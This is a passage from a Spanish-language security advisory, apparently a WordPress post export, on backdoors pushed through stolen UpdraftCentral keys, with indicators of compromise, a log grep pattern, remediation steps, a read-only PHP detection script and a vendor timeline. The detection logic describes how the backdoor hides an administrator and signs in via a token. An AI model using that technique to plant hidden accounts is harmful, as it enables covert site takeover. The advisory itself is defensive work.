!important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code> resta uno al n\u00famero de administradores. En el administrador no la ver\u00e1.<\/li>\n<li>No tiene <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. Al desactivarlo solo borra la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>SHA-256 de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li>La entrega es la misma que en la primera variante, un sondeo seguido de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, desde la IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18\/10 23:39 UTC, render-helper-232b 19\/10 0:03 UTC).<\/li>\n<\/ul>\n<p>El administrador no menciona el mismo error que en la primera variante, as\u00ed que hay que suponer que esta funciona. En sus webs el atacante no la us\u00f3: no apareci\u00f3 la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, ninguna cuenta ni ninguna sesi\u00f3n ajena.<\/p>\n<p>C\u00f3mo encontrarla: busque en los archivos de los plugins \u00abImproves cron tasks efficiency\u00bb o \u00abkeep service accounts out of the main user list\u00bb y revise los usuarios directamente en la tabla <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_users<\/code>, no desde el administrador. La versi\u00f3n 2 de nuestro script hace ambas cosas. En el registro de accesos, busque peticiones con un par\u00e1metro cuyo nombre son 12 caracteres hexadecimales:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep -E &#39;\\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<h2 id=\"qu\u00e9-hacer-si-la-encuentra\">Qu\u00e9 hacer si la encuentra<\/h2>\n<ol type=\"1\">\n<li>Si a\u00fan no lo ha hecho, elimine la conexi\u00f3n con UpdraftCentral como se describe en \u00abQu\u00e9 hacer ahora mismo\u00bb. De lo contrario, el atacante puede enviar una versi\u00f3n corregida de la puerta trasera.<\/li>\n<li>Desactive el plugin y mu\u00e9valo fuera del directorio web. Si quiere conservarlo como prueba, no lo borre desde el administrador, porque <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> borra sus opciones.<\/li>\n<li>Borre la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>.<\/li>\n<li>Revise los usuarios con el script de comprobaci\u00f3n de abajo. Si la puerta trasera lleg\u00f3 a funcionar, es decir, si existe su cuenta o el registro de accesos muestra una petici\u00f3n con su par\u00e1metro, considere la web totalmente comprometida. El atacante pudo subir m\u00e1s plugins o una webshell y modificar archivos o la base de datos. Restaure la web desde una copia anterior al 17 de octubre, compare los archivos con una instalaci\u00f3n limpia y revise todos los usuarios con capacidades extra.<\/li>\n<li>Cambie las contrase\u00f1as de los administradores y la de la cuenta de UpdraftCentral Cloud, cierre todas las sesiones abiertas y active la autenticaci\u00f3n en dos pasos.<\/li>\n<li>Valore si de verdad necesita la gesti\u00f3n remota. Si es as\u00ed, cree la clave con una cuenta sin permiso para instalar plugins, salvo que lo necesite a distancia. En la web C fue justo esa casualidad la que detuvo el ataque.<\/li>\n<\/ol>\n<h2 id=\"script-de-comprobaci\u00f3n\">Script de comprobaci\u00f3n<\/h2>\n<p>El script comprueba cinco cosas: si la web est\u00e1 conectada a UpdraftCentral, qu\u00e9 ha recibido la web a trav\u00e9s de UpdraftCentral, si las carpetas <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> contienen archivos de la puerta trasera, si sus opciones est\u00e1n en la base de datos y si existe su cuenta u otro usuario que no es administrador con las capacidades <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> o <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>. La versi\u00f3n 2 detecta tambi\u00e9n la segunda variante: busca sus archivos y la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, lee los usuarios directamente de la base de datos para que el ocultamiento no funcione y se\u00f1ala los administradores creados desde el 17 de octubre.<\/p>\n<p>En la web A, tras eliminar la puerta trasera, muestra:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Tambi\u00e9n puede descargar el script directamente:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 del script: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0<\/code>. El c\u00f3digo completo:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n    if ( &#39;ALERT&#39; === $level ) $alerts++;\n    if ( &#39;WARN&#39; === $level ) $warnings++;\n    echo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n    foreach ( $keys as $id =&gt; $key ) {\n        $report( &#39;WARN&#39;, sprintf(\n            &#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n            $id,\n            isset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n            isset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n        ) );\n    }\n} else {\n    $report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n    $message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n    $agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n    $when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n    $ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n    if ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n        $log_hits++;\n    } elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n        $report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n        $log_hits++;\n    } elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n        $log_hits++;\n    }\n}\nif ( ! $log_hits ) $report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins.\n$plugin_hits = 0;\nforeach ( array( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39;, WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ) as $pattern ) {\n    foreach ( (array) glob( $pattern ) as $file ) {\n        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n        $template = false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n            || false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n            || false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n            || ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n            || ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n        if ( $template ) {\n            $report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file&quot; );\n            $plugin_hits++;\n        }\n    }\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$options = $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$&#39;&quot; );\nforeach ( $options as $name ) $report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\/\/ The second variant stores the ID of its hidden administrator in &lt;slug&gt;_uid.\n$uids = $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$&#39;&quot; );\nforeach ( $uids as $o ) {\n    $u = ctype_digit( (string) $o-&gt;option_value ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n    $bad = $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email );\n    $report( $bad ? &#39;ALERT&#39; : &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} = {$o-&gt;option_value}&quot; . ( $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39; ) . ( $bad ? &#39;&#39; : &#39;. Check that a plugin you know uses it.&#39; ) );\n}\nif ( ! $options &amp;&amp; ! $uids ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant hides its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name = &#39;Site Tools&#39;&quot; ) as $user ) {\n    $report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;&quot; );\n    $flagged[ $user-&gt;ID ] = true;\n    $user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n    $user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n    $extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n    if ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n        $report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n        $user_hits++;\n    }\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n    echo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n    echo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n    echo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"por-qu\u00e9-publicamos-de-inmediato\">Por qu\u00e9 publicamos de inmediato<\/h2>\n<p>La divulgaci\u00f3n responsable (responsible disclosure) consiste en dar al fabricante tiempo para corregir el problema y publicar los detalles despu\u00e9s. Aqu\u00ed, por desgracia, no hay motivo para ello. El atacante ya est\u00e1 difundiendo activamente puertas traseras en instalaciones de WordPress, y una correcci\u00f3n del fabricante no protege a los propietarios mientras el atacante tenga claves v\u00e1lidas. La \u00fanica protecci\u00f3n eficaz es eliminar la conexi\u00f3n con UpdraftCentral y revisar la web, y cualquier administrador puede hacerlo ahora mismo.<\/p>\n<p>Publicarlo no ayuda al atacante. Necesita claves v\u00e1lidas, que ya tiene, y nada en este art\u00edculo le da una nueva forma de atacar. A los defensores, en cambio, les da un procedimiento para protegerse. Adem\u00e1s, la puerta trasera sale de un generador que crea nombres, tokens y contrase\u00f1as distintos para cada web, lo que apunta a una herramienta pensada para un gran n\u00famero de webs. Cada hora de espera da al atacante tiempo para m\u00e1s webs.<\/p>\n<h2 id=\"comunicaci\u00f3n-con-el-fabricante-y-empresas-de-seguridad\">Comunicaci\u00f3n con el fabricante y empresas de seguridad<\/h2>\n<ul>\n<li>19\/10\/2026: aviso a TeamUpdraft mediante el formulario de soporte premium, con registros y un an\u00e1lisis de la web A<\/li>\n<li>19\/10\/2026: ampliaci\u00f3n sobre los ataques a las webs B y C, la segunda muestra y una comparaci\u00f3n del User-Agent con el panel real<\/li>\n<li>19\/10\/2026: aviso a Wordfence y Patchstack para que puedan a\u00f1adir detecci\u00f3n y advertir a otros administradores<\/li>\n<li>19\/10\/2026: TeamUpdraft public\u00f3 un <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">comunicado sobre el incidente de seguridad<\/a> en el que confirma el acceso a la base de datos de clientes, incluidas las claves de UpdraftCentral<\/li>\n<li>19\/10\/2026: en su respuesta a nuestro aviso, TeamUpdraft confirm\u00f3 que considera comprometidas las claves de UpdraftCentral y pide a todos los clientes de UpdraftCentral que desconecten y revisen cada web. Al cierre de esta edici\u00f3n la versi\u00f3n de emergencia de UpdraftPlus a\u00fan no hab\u00eda salido (la \u00faltima es la 1.26.11 del 16\/10).<\/li>\n<li>19\/10\/2026: Patchstack public\u00f3 <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">su propio an\u00e1lisis<\/a> y confirm\u00f3 las dos direcciones IP del atacante. Wordfence y Patchstack pidieron muestras.<\/li>\n<\/ul>\n<p>Si ha observado un ataque similar, escr\u00edbanos a info@nethemba.com. Facilitaremos muestras y m\u00e1s material t\u00e9cnico al fabricante y a equipos de seguridad que lo soliciten.<\/p>\n<h2 id=\"actualizaciones\">Actualizaciones<\/h2>\n<ul>\n<li>19\/10\/2026: primera publicaci\u00f3n.<\/li>\n<li>19\/10\/2026: aviso de que el registro de UpdraftCentral solo guarda 50 eventos y revisi\u00f3n del registro de accesos; recomendaci\u00f3n de no volver a conectar; pasos para webs totalmente comprometidas; precisi\u00f3n sobre las versiones afectadas por CVE-2026-10795.<\/li>\n<li>19\/10\/2026: a\u00f1adido el comunicado del fabricante, que confirma la filtraci\u00f3n de claves desde teamupdraft.com; actualizadas las recomendaciones, la correcci\u00f3n y el alcance.<\/li>\n<li>19\/10\/2026 (tarde): segunda variante con un administrador oculto, m\u00e1s muestras de la primera variante, segunda direcci\u00f3n IP, enlace al an\u00e1lisis de Patchstack, script de comprobaci\u00f3n versi\u00f3n 2.<\/li>\n<li>19\/10\/2026: a\u00f1adida la respuesta directa del fabricante a nuestro aviso.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>La noche del 19 de octubre de 2026 un atacante abus\u00f3 de UpdraftCentral, el servicio de gesti\u00f3n remota integrado en UpdraftPlus, un plugin de copias de seguridad con m\u00e1s de 4 millones de instalaciones, e instal\u00f3 una puerta trasera en dos de nuestras tres webs. Nuestras webs estaban totalmente actualizadas y el fallo no estaba de nuestro lado: el atacante firm\u00f3 sus \u00f3rdenes con claves v\u00e1lidas que genera y custodia el servicio UpdraftCentral Cloud. Publicamos un an\u00e1lisis de la puerta trasera, indicadores de compromiso y un procedimiento para revisar sus propias webs. El fabricante confirm\u00f3 despu\u00e9s que el atacante obtuvo la base de datos de clientes de teamupdraft.com, incluidas las claves de UpdraftCentral.<\/p>\n","protected":false},"author":2,"featured_media":9620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-9629","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba<\/title>\n<meta name=\"description\" content=\"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba\" \/>\n<meta property=\"og:description\" content=\"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:05+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-19T15:03:28+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"33 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs\",\"datePublished\":\"2026-10-19T05:44:05+00:00\",\"dateModified\":\"2026-10-19T15:03:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":4805,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"articleSection\":[\"Uncategorized\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"datePublished\":\"2026-10-19T05:44:05+00:00\",\"dateModified\":\"2026-10-19T15:03:28+00:00\",\"description\":\"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/home-new-2025\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio 